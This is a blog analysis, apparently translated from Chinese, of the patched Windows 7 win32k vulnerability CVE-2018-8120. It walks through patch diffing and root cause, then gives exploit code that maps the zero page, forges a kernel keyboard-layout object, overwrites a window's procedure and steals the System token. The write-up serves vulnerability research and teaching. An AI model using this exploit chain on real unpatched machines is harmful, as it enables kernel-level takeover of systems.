Loading [MathJax]/jax/output/CommonHTML/config.js
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >Win32k NULL-Pointer-Dereference Analysis by Matching the May Update

Win32k NULL-Pointer-Dereference Analysis by Matching the May Update

作者头像
稻草小刀
发布于 2022-12-12 08:25:00
发布于 2022-12-12 08:25:00
41800
代码可运行
举报
文章被收录于专栏:小刀志小刀志
运行总次数:0
代码可运行

Microsoft shipped and fixed four win32k kernel Escalation of Privilege vulnerabilities in the May security bulletin. This article will discover and analyze one of these vulnerabilities caused by a null pointer dereference fixed by the patch program, and will finally attempt to implement its proof and exploitation code. The analyzing and debugging process will take place in a virtual machine of Windows 7 x86 SP1 basic environment.

To avoid attacks from exploiting this vulnerability, users who are using Windows operating system must install the latest official security updates as soon as possible.

0x0 Abstract

This article discovers and analyzes a kernel Escalation of Privilege vulnerability caused by a null pointer dereference in the win32k kernel module by matching the patch. According to the information released by FortiGuard Labs, the bug is CVE-2018-8120 that was fixed in the May patch. The vulnerability exists in the kernel function SetImeInfoEx. In the case where the pointer field spklList of the target window station has not been validated, the function directly reads the memory address pointed to by the field.

It is possible that the value of field spklList of window station tagWINDOWSTATION object reaches 0. If an user process creates a window station whose filed spklList points to NULL address, and associates the window station with the current process, at the time when calling system service NtUserSetImeInfoEx to set extended IME information, the kernel function SetImeInfoEx would access the memory in zero page which is located in the user address space. The operation of the function will cause the page fault exception, resulting in the occurrence of the system BSOD.

If the exploitation code in the user process allocates zero page memory in advance, to make the zero page mapped, and crafts some fake kernel objects in the zero page, the data in the zero page will be mistaken for a correct keyboard layout tagKL node object by the kernel function, which implements the arbitrary address writing primitive. Using the implemented writing primitive to override the function pointer field of a particular kernel object (such as tagWND), or to modify the relevant flag bits that represent kernel mode or user mode execution, the ability of arbitrary code execution is then implemented, the kernel Escalation of Privilege is achieved ultimately as well.

0x1 Patch

According to comparing the win32k.sys module file in the patch program of the May security bulletin with the file of the April update, it is discovered that such functions are modified in the latest update:

Matching list of modified functions in the patches

With the check of these modified functions one by one, function SetImeInfoEx is noticed that its code block changes as below:

Comparison of function SetImeInfoEx in the patches

The left is the code blocks of function SetImeInfoEx in the May patch, while the right is in the April patch. It is clear that there are some new directly returning judgement code blocks at the beginning of the updated function. Further details of the function are observed in IDA:

Before patch:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  if ( winSta )
  {
    pkl = winSta->spklList;
    while ( pkl->hkl != imeInfoEx->hkl )
    {
      pkl = pkl->pklNext;
      if ( pkl == winSta->spklList )
        return 0;
    }
    piiex = pkl->piiex;
    if ( !piiex )
      return 0;
    if ( !piiex->fLoadFlag )
      qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
    bReturn = 1;
  }
  return bReturn;

After patch:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  if ( winSta && (pklFirst = winSta->spklList) != 0 )
  {
    pkl = winSta->spklList;
    while ( pkl->hkl != imeInfoEx->hkl )
    {
      pkl = pkl->pklNext;
      if ( pkl == pklFirst )
        return 0;
    }
    piiex = pkl->piiex;
    if ( !piiex )
      return 0;
    if ( !piiex->fLoadFlag )
      qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
    bReturn = 1;
  }
  else
  {
    bReturn = 0;
  }
  return bReturn;

By comparing the two code blocks, it can be found that a judgement whether the value of field spklList has reached zero is added in the function in the patch. If so, the function returns directly. Coincidentally, function ReorderKeyboardLayouts in the patched functions list is found having added such judgement code as well. There is good reason to believe that these two patches are likely to fix a null pointer dereference problem that existed in old versions.

0x2 Details

According to the previous patch comparison, the vulnerability is found in function SetImeInfoEx. There is only a reference to function SetImeInfoEx in win32k.sys module which is in system service function NtUserSetImeInfoEx. System service function NtUserSetImeInfoEx function is an interface provided by the operating system, which is used to set the input method extension information object defined by the user process to a keyboard layout node object in the window station associated with the current process.


Window Station

A window station object is a securable object, which contains a clipboard, an atom table, and one or more desktop objects. Each window station object exists in the kernel as an instance of structure tagWINDOWSTATION:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> dt win32k!tagWINDOWSTATION
   +0x000 dwSessionId      : Uint4B
   +0x004 rpwinstaNext     : Ptr32 tagWINDOWSTATION
   +0x008 rpdeskList       : Ptr32 tagDESKTOP
   +0x00c pTerm            : Ptr32 tagTERMINAL
   +0x010 dwWSF_Flags      : Uint4B
   +0x014 spklList         : Ptr32 tagKL
   +0x018 ptiClipLock      : Ptr32 tagTHREADINFO
   +0x01c ptiDrawingClipboard : Ptr32 tagTHREADINFO
   +0x020 spwndClipOpen    : Ptr32 tagWND
   +0x024 spwndClipViewer  : Ptr32 tagWND
   +0x028 spwndClipOwner   : Ptr32 tagWND
   +0x02c pClipBase        : Ptr32 tagCLIP
   +0x030 cNumClipFormats  : Uint4B
   +0x034 iClipSerialNumber : Uint4B
   +0x038 iClipSequenceNumber : Uint4B
   +0x03c spwndClipboardListener : Ptr32 tagWND
   +0x040 pGlobalAtomTable : Ptr32 Void
   +0x044 luidEndSession   : _LUID
   +0x04c luidUser         : _LUID
   +0x054 psidUser         : Ptr32 Void

Definition of structure tagWINDOWSTATION

Field spklList of the structure is a pointer to the first node of the associated keyboard layout tagKL object linked list. Keyboard layout tagKL structure is defined as below:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> dt win32k!tagKL
   +0x000 head             : _HEAD
   +0x008 pklNext          : Ptr32 tagKL
   +0x00c pklPrev          : Ptr32 tagKL
   +0x010 dwKL_Flags       : Uint4B
   +0x014 hkl              : Ptr32 HKL__
   +0x018 spkf             : Ptr32 tagKBDFILE
   +0x01c spkfPrimary      : Ptr32 tagKBDFILE
   +0x020 dwFontSigs       : Uint4B
   +0x024 iBaseCharset     : Uint4B
   +0x028 CodePage         : Uint2B
   +0x02a wchDiacritic     : Wchar
   +0x02c piiex            : Ptr32 tagIMEINFOEX
   +0x030 uNumTbl          : Uint4B
   +0x034 pspkfExtra       : Ptr32 Ptr32 tagKBDFILE
   +0x038 dwLastKbdType    : Uint4B
   +0x03c dwLastKbdSubType : Uint4B
   +0x040 dwKLID           : Uint4B

Definition of structure tagKL

Field piiex of keyboard layout structure points to the associated extended IME information object. The object pointed to by this field will be used as the target address of the memory copy in function SetImeInfoEx. Field pklNext and pklPrev are pointers to the next and the previous node objects. The keyboard layout object list is linked up by the two pointer fields.

When a window station object is associated with the specified process, its address is stored into field rpwinsta of the target process information tagPROCESSINFO object.

The window station automatically associated with a new process is the interactive window station created by the system, whose field spklList points to a real node of keyboard layout object. When an interactive user logs on, the system associates the interactive window station with the user logon session. A process automatically establishes a connection to a window station when it first calls a USER32 or GDI32 function (other than the window station and desktop functions).

When function CreateWindowStation is being called to create a new window station object, in the end kernel function xxxCreateWindowStation is called in the kernel context to perform the creation operation. During the execution, field spklList of the new window station has not been initialized and will always point to NULL address.


SetImeInfoEx

Kernel function SetImeInfoEx is used to copy the extended IME information tagIMEINFOEX object pointed to by parameter imeInfoEx to the extended IME info buffer pointed to by field piiex of the target keyboard layout tagKL object. Extended IME information tagIMEINFOEX structure is defined as below:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> dt win32k!tagIMEINFOEX
   +0x000 hkl              : Ptr32 HKL__
   +0x004 ImeInfo          : tagIMEINFO
   +0x020 wszUIClass       : [16] Wchar
   +0x040 fdwInitConvMode  : Uint4B
   +0x044 fInitOpen        : Int4B
   +0x048 fLoadFlag        : Int4B
   +0x04c dwProdVersion    : Uint4B
   +0x050 dwImeWinVersion  : Uint4B
   +0x054 wszImeDescription : [50] Wchar
   +0x0b8 wszImeFile       : [80] Wchar
   +0x158 fSysWow64Only    : Pos 0, 1 Bit
   +0x158 fCUASLayer       : Pos 1, 1 Bit

Definition of structure tagIMEINFOEX

After probing the memory address of the source tagIMEINFOEX object from parameter, function NtUserSetImeInfoEx retrieves the window station pointer of the current process using _GetProcessWindowStation, and passes the address of the window station and the source tagIMEINFOEX object from parameter into the call of function SetImeInfoEx as the parameters.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
if ( *(_BYTE *)gpsi & 4 )
{
  ms_exc.registration.TryLevel = 0;
  v2 = imeInfoEx;
  if ( (unsigned int)imeInfoEx >= W32UserProbeAddress )
    v2 = (tagIMEINFOEX *)W32UserProbeAddress;
  v3 = (char)v2->hkl;
  qmemcpy(&v6, imeInfoEx, 0x15Cu);
  ms_exc.registration.TryLevel = -2;
  v4 = _GetProcessWindowStation(0);
  bReturn = SetImeInfoEx(v4, &v6);
}

Code snippet of function NtUserSetImeInfoEx

The function retrieves the address of the first node object in the keyboard layout tagKL list pointed to by field spklList of the window station object pointed to by parameter winSta. Then the function starts to traverse the tagKL list from the first node, until field spklList of the object points back to the first node. The function judges whether field hkl of each object is equal to field hkl of the source extended IME information object. The two fields are both HKL typed keyboard layout object handle.

When an equal node is matched, it means the match was successful. Then the function judges whether field piiex of target tagKL object points to a real keyboard layout buffer, and wheter the value of field fLoadFlag is FALSE. If so, the address of the keyboard layout buffer pointed to by field piiex will be used as the target address, the data of the source extended IME information object pointed to by parameter imeInfoEx will be copied into the target address.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
BOOL __stdcall SetImeInfoEx(tagWINDOWSTATION *winSta, tagIMEINFOEX *imeInfoEx)
{
  [...]
  if ( winSta )
  {
    pkl = winSta->spklList;
    while ( pkl->hkl != imeInfoEx->hkl )
    {
      pkl = pkl->pklNext;
      if ( pkl == winSta->spklList )
        return 0;
    }
    piiex = pkl->piiex;
    if ( !piiex )
      return 0;
    if ( !piiex->fLoadFlag )
      qmemcpy(piiex, imeInfoEx, sizeof(tagIMEINFOEX));
    bReturn = 1;
  }
  return bReturn;
}

Code snippet of function SetImeInfoEx

According to the information obtained in the previous comparsion sections, the patch program adds a judgement whether field spklList of the window object is null in the function. This means that there is a possibility that the field holds a null value. When the value is null, the function reads zero page data directly without any judgement. If the zero page has not been mapped in the current process context, the function will trigger a page fault exception, causing the BSOD to occur in the system.

0x3 Triggering

The previous section analyzes the details of the vulnerability. The next step is to attempt to construct a proof code based on the obtained conditions to reproduce the vulnerability triggering scene.

The triggering of the vulnerability requires the process associated a window station object whose field spklList points to null address. Firstly create such a window station using the interface function CreateWindowStation, and associate the newly created window station object with the current process by calling function SetProcessWindowStation. This eventually causes the address of the new window station to be stored into field rpwinsta of the tagPROCESSINFO object in the current process in the kernel.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
SECURITY_ATTRIBUTES sa  = { 0 };
sa.nLength              = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle       = TRUE;
hWinStat = CreateWindowStationW(NULL, CWF_CREATE_ONLY, WINSTA_ALL_ACCESS, &sa);
SetProcessWindowStation(hWinStat);

Proof code of creating and associating window station

Pointer field spklList of the newly created window station object points to null address:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> dt win32k!tagWINDOWSTATION 85dfefa8
   +0x000 dwSessionId      : 1
   +0x004 rpwinstaNext     : (null)
   +0x008 rpdeskList       : (null)
   +0x00c pTerm            : 0x94b0eb80 tagTERMINAL
   +0x010 dwWSF_Flags      : 4
   +0x014 spklList         : (null)
   [...]

Field spklList of new window station points to null address

Next, system service function NtUserSetImeInfoEx need to be called in the user process in order to make the execution flow enter function SetImeInfoEx in the kernel.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
BOOL __declspec(naked)
xxNtUserSetImeInfoEx(tagIMEINFOEX *imeInfoEx)
{
    __asm { mov eax, 1226h };
    __asm { lea edx, [esp + 4] };
    __asm { int 2eh };
    __asm { ret };
}

NtUserSetImeInfoEx interface implemented by proof code

Function NtUserSetImeInfoEx has only one parameter, which is a pointer to the source extended IME information object. Define such a source extended IME information object in the user process and pass the address into the call to function NtUserSetImeInfoEx.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
tagIMEINFOEX iiFaked  = { 0 };
bReturn = xxNtUserSetImeInfoEx(&iiFaked);

Proof code of calling NtUserSetImeInfoEx

Since field spklList of the window station object associated with the current process points to null address and the zero page memory where the null address is located is not mapped at this time, when kernel function SetImeInfoEx attempting to access zero page memory an access violation exception would be triggered. The abnormality of the violation resulted in the occurrence of the system BSOD.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Access violation - code c0000005 (!!! second chance !!!)
win32k!SetImeInfoEx+0x17:
9490007c 395014          cmp     dword ptr [eax+14h],edx
kd> r eax
eax=00000000
kd> k
 # ChildEBP RetAddr
00 98a1ba90 9490003d win32k!SetImeInfoEx+0x17
01 98a1bc28 83e471ea win32k!NtUserSetImeInfoEx+0x65
02 98a1bc28 0016f2eb nt!KiFastCallEntry+0x12a
03 3378fbf4 0016f4c5 TempDemo!xxNtUserSetImeInfoEx+0xb
04 3378fdfc 0016f1ca TempDemo!xxTrackExploitEx+0x155

Function SetImeInfoEx accessing zero page memory results in access violation

0x4 Exploitation

The previous section analyzed the details of the vulnerability and constructed the proof code for the vulnerability. Next, according to the proof code, the kernel exploit code with this vulnerability will be implemented.


Implementation of Arbitrary Address Writing

Window station object is a kind of kernel object. Under normal circumstances, user processes can only control the member data of kernel objects extremely limited with only a set of specific interface functions. When some members of a kernel object accidentally points to a memory address in user address space, such as null address, the exploitation code in the user process will be able to achieve a greater range of control by allocating such a memory page and using specific memory layouts.

In the exploitation code, a memory block whose base address in the zero page memory should be firstly allocated to make the zero page mapped.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
PVOID  MemAddr  = (PVOID)1;
SIZE_T MemSize  = 0x1000;
NtAllocateVirtualMemory(GetCurrentProcess(),
    &MemAddr,
    0,
    &MemSize,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE);
ZeroMemory(MemAddr, MemSize);

Exploitation code allocating zero page memory

The next step is to construct the data in the zero page to satisfy the access condition of function SetImeInfoEx. Since field spklList of window station object points to a tagKL typed object, it is needed to treat the memory block starting from null address as a tagKL typed object, as well as to initialize several critical fields.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
DWORD *klFaked = (DWORD *)0;
klFaked[0x02] = (DWORD)klFaked;     // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked;     // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)0xCCCCCCCC;  // tagKL->piiex

Initializing the fake tagKL object

Function SetImeInfoEx traverses the list via field pklNext of each tagKL node object as the index, and matches field hkl. So field pklNext of faked tagKL object should be set to the base address of the faked object itself, while field hkl should be set to the same value as field hkl of the source extended IME information object.

When the matched tagKL node object is found, function SetImeInfoEx writes the data of the source tagIMEINFOEX object from parameter into the buffer pointed to by field piiex of the target tagKL object. The arbitrary address writing primitive would be implemented.


Implementation of Arbitrary Code Execution

The most common way of kernel privilege escalation is to replace the Token pointer of the current process EPROCESS object with the one of System process. Unfortunately, up to now, the arbitrary address writing primitive has been implemented, but the arbitrary address reading primitive not, which makes it more difficult to replace the Token pointer of the process.

An easy way is to replace the function pointer field of a kernel object with the address of a function that is implemented by the code in the user address space as well as to modify the relevant flag bits that represent kernel state or user state execution using the arbitrary address writing primitive, so that the function code in the user address space would be executed directly in the kernel when the object handling specific events, and the kernel privilege escalation would be finally implemented in the function. In this analysis it would be implemented by replacing the message procedure pointer field lpfnWndProc of target window tagWND object.

The following ideas are: at first create a normal window object, and fill the source tagIMEINFOEX structure with part of data of the window object, then set member flag bit bServerSideWindowProc of window object in the source tagIMEINFOEX structure; secondly make field piiex of the faked tagKL object in the null page memory point to the kernel address of target window object, so that the modified data of window object in the source tagIMEINFOEX structure would be used to overwrite the original data of target window object. Changes to specific fields of target window object would be implemented as well.

Position correspondences between tagIMEINFOEX and tagWND

Firstly create a normal window object as the target window object. Based on the previous analysis, function SetImeInfoEx takes the size of tagIMEINFOEX object as the copy scope when copying. The size of tagIMEINFOEX structure is 0x15C bytes, which is much bigger than the size of tagWND object. So in order to avoid the out-of-bounds access to subsequent unknown memory regions when the memory copy is executed, sufficient extra area size must be specified when registering the window class to let the full size of the window object bigger than 0x15C bytes.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
WNDCLASSEXW wc    = { 0 };
wc.cbSize         = sizeof(WNDCLASSEXW);
wc.lpfnWndProc    = DefWindowProcW;
wc.cbWndExtra     = 0x100;
wc.hInstance      = GetModuleHandleA(NULL);
wc.lpszMenuName   = NULL;
wc.lpszClassName  = L"WNDCLASSHUNT";
RegisterClassExW(&wc);
hwndHunt = CreateWindowExW(WS_EX_LEFT, L"WNDCLASSHUNT",
    NULL,
    WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP,
    0,
    0,
    0,
    0,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);

Exploitation code creating normal window object

Function SetImeInfoEx judges the value of field fLoadFlag of target extended IME information object at 0x48 byte offset. If the value is not FALSE, the function would not execute the following copying operation.

Field piiex of the faked tagKL object points to the kernel address of target window object. The field at 0x48 byte offset in window object is subfield right of member structure tagRECT rcWindow. It is only when parameter dwStyle passed into function CreateWindowEx is set to WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_POPUP would each subfield (such as right) of member structure rcWindow of the created window object be able to be 0.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> ? poi(poi(0x0+0x2c)+0x48)
Evaluate expression: 0 = 00000000
kd> dt win32k!tagRECT poi(0x0+0x2c)+0x40
   +0x000 left             : 0n0
   +0x004 top              : 0n0
   +0x008 right            : 0n0
   +0x00c bottom           : 0n0

All fields of structure tagRECT rcWindow are set to zero

The next step is to retrieve the user mapped address and kernel address of the created window object using HMValidateHandle object address leak technique. Detailed information about this technique is referenced in the literature list in "Links" section.

Copy the data of the same size of tagIMEINFOEX structure from the user mapped address into the source tagIMEINFOEX structure defined by the exploitation code. The retrieved kernel address of target window object is used to be the address pointed to by field piiex of the faked tagKL object in the null page memory.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hwndHunt);
pwndHunt = head->pSelf;
CopyMemory(&iiFaked, (PBYTE)head, sizeof(tagIMEINFOEX));

DWORD *klFaked = (DWORD *)0;
klFaked[0x02] = (DWORD)klFaked;     // tagKL->pklNext
klFaked[0x03] = (DWORD)klFaked;     // tagKL->pklPrev
klFaked[0x05] = (DWORD)iiFaked.hkl; // tagKL->hkl
klFaked[0x0B] = (DWORD)pwndHunt;    // tagKL->piiex

Exploitation code copying and initializing member data

The field of tagWND structure which is corresponding to field hkl of tagIMEINFOEX structure is exactly the window object handle.

Next, modify the fields of window object in the sourcetagIMEINFOEX object. Set member flag bit bServerSideWindowProc inside and modify the value of pointer field lpfnWndProc.

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
*(DWORD *)((PBYTE)&iiFaked + 0x14) |= (DWORD)0x40000;          //->bServerSideWindowProc
*(DWORD *)((PBYTE)&iiFaked + 0x60) = (DWORD)xxPayloadWindProc; //->lpfnWndProc

Exploitation code modifying data of window object

As thus, when the call of system service NtUserSetImeInfoEx is executed, the modified member data of the window object in the source tagIMEINFOEX structure would be used to overwrite the memory block of the target window object. After that when sending messages to target window object, kernel function xxxSendMessageTimeout would calls custom message procedure xxPayloadWindProc directly in the kernel context according to the set member flag bit bServerSideWindowProc.


Implementation of Kernel Privilege Escalation

After the member flag bit bServerSideWindowProc is set and the message procedure field of window object is modified to the address of the custom message procedure defined by the user process, when sending messages to target window object, the system would enter the custom message procedure directly in the kernel to handle messages.

In the custom message procedure, according to the current window object pointed to by parameter pwnd, the address of associated thread information tagTHREADINFO object can be retrieved. The address of the current process EPROCESS object can be located at last. The next step is to locate the System process EPROCESS object, and retrieve the Token pointer of the System EPROCESS object, followed replacing the Token pointer of the current EPROCESS object with the System Token pointer.

The final step is to increment the pointer reference count in the object header of the System Token object. When the function that sends the message returns to the user process, a new command prompt process need to be created.

Newly created process belongs to System identity

It can be observed that the newly created command prompt process has belonged to System user identity.


Postscript

According to the information in the security bulletin, this vulnerability occurs in Windows 7 SP1 and Windows Server 2008 version operating systems. This is because that Starting with Windows 8, in the new version operating systems Microsoft introduced a new mitigation to prevent user processes from allocating zero page memory. This kind of vulnerability will not be exploited successfully in the new systems any longer.

2018/5/15: Up to now, a sample file has already appeared on VirusTotal platform which is detected as CVE-2018-8120 exploitation by multiple AntiVirus products.

Sample file detected as CVE-2018-8120 on VirusTotal

Therefore, to avoid attacks from exploiting this vulnerability and to ensure that they are not affected by the exploitations, users who are using Windows 7 operating system must install the latest official security updates as soon as possible. According to analyzing the sample file on VirusTotal, it is found that the sample leaks the Token pointer of System process using PsReferencePrimaryToken(*PsInitialSystemProcess) and then writes the leaked pointer into the EPROCESS object of the current process using the arbitrary address writing primitive and GDT rewriting/callgate exploit technique. It's another way to exploit.

0x5 Links

Translated from my Chinese article: https://cloud.tencent.com/developer/article/2191161

0 The proof of concept of this analysis

https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2018-8120/x86.cpp

1 MS.Windows.Win32k.NtUserSetImeInfoEx.Privilege.Escalation

https://fortiguard.com/encyclopedia/ips/46028

2 Window Stations

https://msdn.microsoft.com/en-us/library/windows/desktop/ms687096(v=vs.85).aspx(https://msdn.microsoft.com/en-us/library/windows/desktop/ms687096(v=vs.85%29.aspx)

3 CVE-2015-2546 UAF ANALYSIS AND EXPLOITATION

https://cloud.tencent.com/developer/article/2191164

4 sam-b/windows_kernel_address_leaks

https://github.com/sam-b/windows_kernel_address_leaks

5 Mitigating the Exploitation of Vulnerabilities that Allow Diverting Kernel Execution Flow in Windows

https://securityintelligence.com/exploitation-vulnerabilities-allow-diverting-kernel-execution-flow-windows/

6 Window Styles

https://msdn.microsoft.com/zh-CN/library/windows/desktop/ms632600(v=vs.85).aspx(https://msdn.microsoft.com/zh-CN/library/windows/desktop/ms632600(v=vs.85%29.aspx)

  • THE END -

文章链接: https://cloud.tencent.com/developer/article/2191158

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-05-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
通过对比 5 月补丁分析 win32k 空指针解引用漏洞
微软在 5 月安全公告中包含并修复了 4 个 win32k 内核提权漏洞。这篇文章将通过补丁对比的方式,发现并分析补丁程序中修复的一个由某处空指针解引用导致的提权漏洞,最终实现其验证和利用代码。分析和调试的过程将在 Windows 7 x86 SP1 基础环境的虚拟机中进行。
稻草小刀
2022/12/12
6890
通过对比 5 月补丁分析 win32k 空指针解引用漏洞
CVE-2015-2546 UAF Analysis and Exploitation
This article will analyze a UAF vulnerability in win32k Window Manager (User) Subsystem in Windows: CVE-2015-2546. Similar to CVE-2017-0263 analyzed in the previous article, this vulnerability is use-after-free of popup menu tagPOPUPMENU object as well. The analyzing environment is Windows 7 x86 SP1 basic virtual machine.
稻草小刀
2022/12/12
4950
CVE-2015-2546 UAF Analysis and Exploitation
从 CVE-2016-0165 说起:分析、利用和检测(下)
本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。
稻草小刀
2022/12/12
4400
从 CVE-2016-0165 说起:分析、利用和检测(下)
Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow
Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow 1.本文一共4556个字 20张图 预计阅读时间17分钟2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载3.本篇文章是Windows Kernel Exploitation Notes系列文章的第一篇HEVD Stack Overflow4.本篇文章十分适合漏洞安全研究人员进行交流学习5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽 0
Gcow安全团队
2021/06/25
9220
Windows Kernel Exploitation Notes(一)——HEVD Stack Overflow
从 CVE-2017-0263 漏洞分析到 Windows 菜单管理组件
CVE-2017-0263 是 Windows 操作系统 win32k 内核模块菜单管理组件中的一个 UAF(释放后重用)漏洞,据报道称该漏洞在之前与一个 EPS 漏洞被 APT28 组织组合攻击用来干涉法国大选。这篇文章将对用于这次攻击的样本的 CVE-2017-0263 漏洞部分进行一次简单的分析,以整理出该漏洞利用的运作原理和基本思路,并对 Windows 窗口管理器子系统的菜单管理组件进行简单的探究。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。
稻草小刀
2022/12/12
8060
从 CVE-2017-0263 漏洞分析到 Windows 菜单管理组件
漏洞分析丨cve20144113
Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。其中CVE-2014-4113就是Win32k.sys中的一个漏洞,该漏洞的根本问题是函数xxxMNFindWindowFromPoint的返回值验证不正确。xxxMNFindWindowFromPoint函数执行后返回win32k!tagWND的地址结构或错误代码-1,-5。在该函数后面将调用函数xxxSendMessage,xxxSendMessage把xxxMNFindWindowFromPoint的返回值作为参数传递。当xxxMNFindWindowFromPoint返回win32k!tagWND地址的时候程序正常执行,但当返回-1,-5的时候传递给xxxSendMessage将造成蓝屏。
极安御信安全研究院
2023/04/20
6310
漏洞分析丨cve20144113
通过 Windows 用户模式回调实施的内核攻击
这篇文章翻译自一篇多年之前的论文,原文作者是 Tarjei Mandt。原文系统地描述了 win32k 的用户模式回调机制以及相关的原理和思想,可以作为学习 win32k 漏洞挖掘的典范。早前曾经研读过,近期又翻出来整理了一下翻译,在这里发出来做个记录。原文链接在文后可见。
稻草小刀
2022/12/12
1.8K0
通过 Windows 用户模式回调实施的内核攻击
Win32之隐藏DLL隐藏模块技术
这一讲涉及到windows底层技术.跟汇编内容. 我们才可以实现模块隐藏(也称为DLL隐藏)
IBinary
2019/05/25
3.8K0
对 UAF 漏洞 CVE-2016-0167 的分析和利用
这篇文章将对 Windows 释放后重用(UAF)内核漏洞 CVE-2016-0167 进行一次简单的分析并构造其利用验证代码。该漏洞在 2016 年据报道称被用于攻击支付卡等目标的数据,并和之前分析的 CVE-2016-0165 在同一个补丁程序中被微软修复。针对该漏洞的分析和测试是在 Windows 7 x86 SP1 基础环境的虚拟机中进行的。
稻草小刀
2022/12/12
1.1K0
对 UAF 漏洞 CVE-2016-0167 的分析和利用
DllMain中不当操作导致死锁问题的分析--导致DllMain中死锁的关键隐藏因子
        有了前面两节的基础,我们现在切入正题:研究下DllMain为什么会因为不当操作导致死锁的问题。首先我们看一段比较经典的“DllMain中死锁”代码。(转载请指明出于breaksoftware的csdn博客)
方亮
2019/01/16
1.6K0
Windows提权以及逆向
一个小白对于Windows提权以及逆向的学习,文章中说的思路可能有不对的,希望不要介意!!!
网e渗透安全部
2019/12/09
7990
Windows提权以及逆向
mov fs:[0],esp的含义
lea eax,SEH1[ebp] ;自己的异常处理函数地址 push eax ;把该异常处理函数地址压栈 push fs:[0] ;fs:[0]指向的是TIB[Thread information Block]结构中的 ;EXCEPTION_REGISTRATION 结构 mov fs:[0],esp ;让fs:[0]指向一个新的EXCEPTION_REGISTRATION 结构(就像链表插入一个新节点) mov esi,0 ;这两行指令就是用来处罚这个异常处理函数被调用的代码 mov eax,[esi];make a error for SEH
战神伽罗
2019/07/24
2.7K0
三、系统调用
1.在 Ring3 的代码调用了 sysenter 指令之后,CPU 会做出如下的操作:
zhang_derek
2022/09/21
1.1K0
三、系统调用
反调试专题丨反调试之NtGlobaFlag
nt!_PEB +0x000 InheritedAddressSpace : UChar +0x001 ReadImageFileExecOptions : UChar +0x002 BeingDebugged    : UChar                isDbg值,8字节 +0x003 BitField         : UChar +0x003 ImageUsesLargePages : Pos 0, 1 Bit +0x003 IsProtectedProcess : Pos 1, 1 Bit +0x003 IsLegacyProcess  : Pos 2, 1 Bit +0x003 IsImageDynamicallyRelocated : Pos 3, 1 Bit +0x003 SkipPatchingUser32Forwarders : Pos 4, 1 Bit +0x003 SpareBits        : Pos 5, 3 Bits +0x004 Mutant           : Ptr32 Void +0x008 ImageBaseAddress : Ptr32 Void              镜像基址 +0x00c Ldr              : Ptr32 _PEB_LDR_DATA             _PEB_LDR_DATA结构 +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS +0x014 SubSystemData    : Ptr32 Void +0x018 ProcessHeap      : Ptr32 Void              +0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION +0x020 AtlThunkSListPtr : Ptr32 Void +0x024 IFEOKey          : Ptr32 Void +0x028 CrossProcessFlags : Uint4B +0x028 ProcessInJob     : Pos 0, 1 Bit +0x028 ProcessInitializing : Pos 1, 1 Bit +0x028 ProcessUsingVEH  : Pos 2, 1 Bit +0x028 ProcessUsingVCH  : Pos 3, 1 Bit +0x028 ProcessUsingFTH  : Pos 4, 1 Bit +0x028 ReservedBits0    : Pos 5, 27 Bits +0x02c KernelCallbackTable : Ptr32 Void +0x02c UserSharedInfoPtr : Ptr32 Void +0x030 SystemReserved   : [1] Uint4B +0x034 AtlThunkSListPtr32 : Uint4B +0x038 ApiSetMap        : Ptr32 Void +0x03c TlsExpansionCounter : Uint4B +0x040 TlsBitmap        : Ptr32 Void +0x044 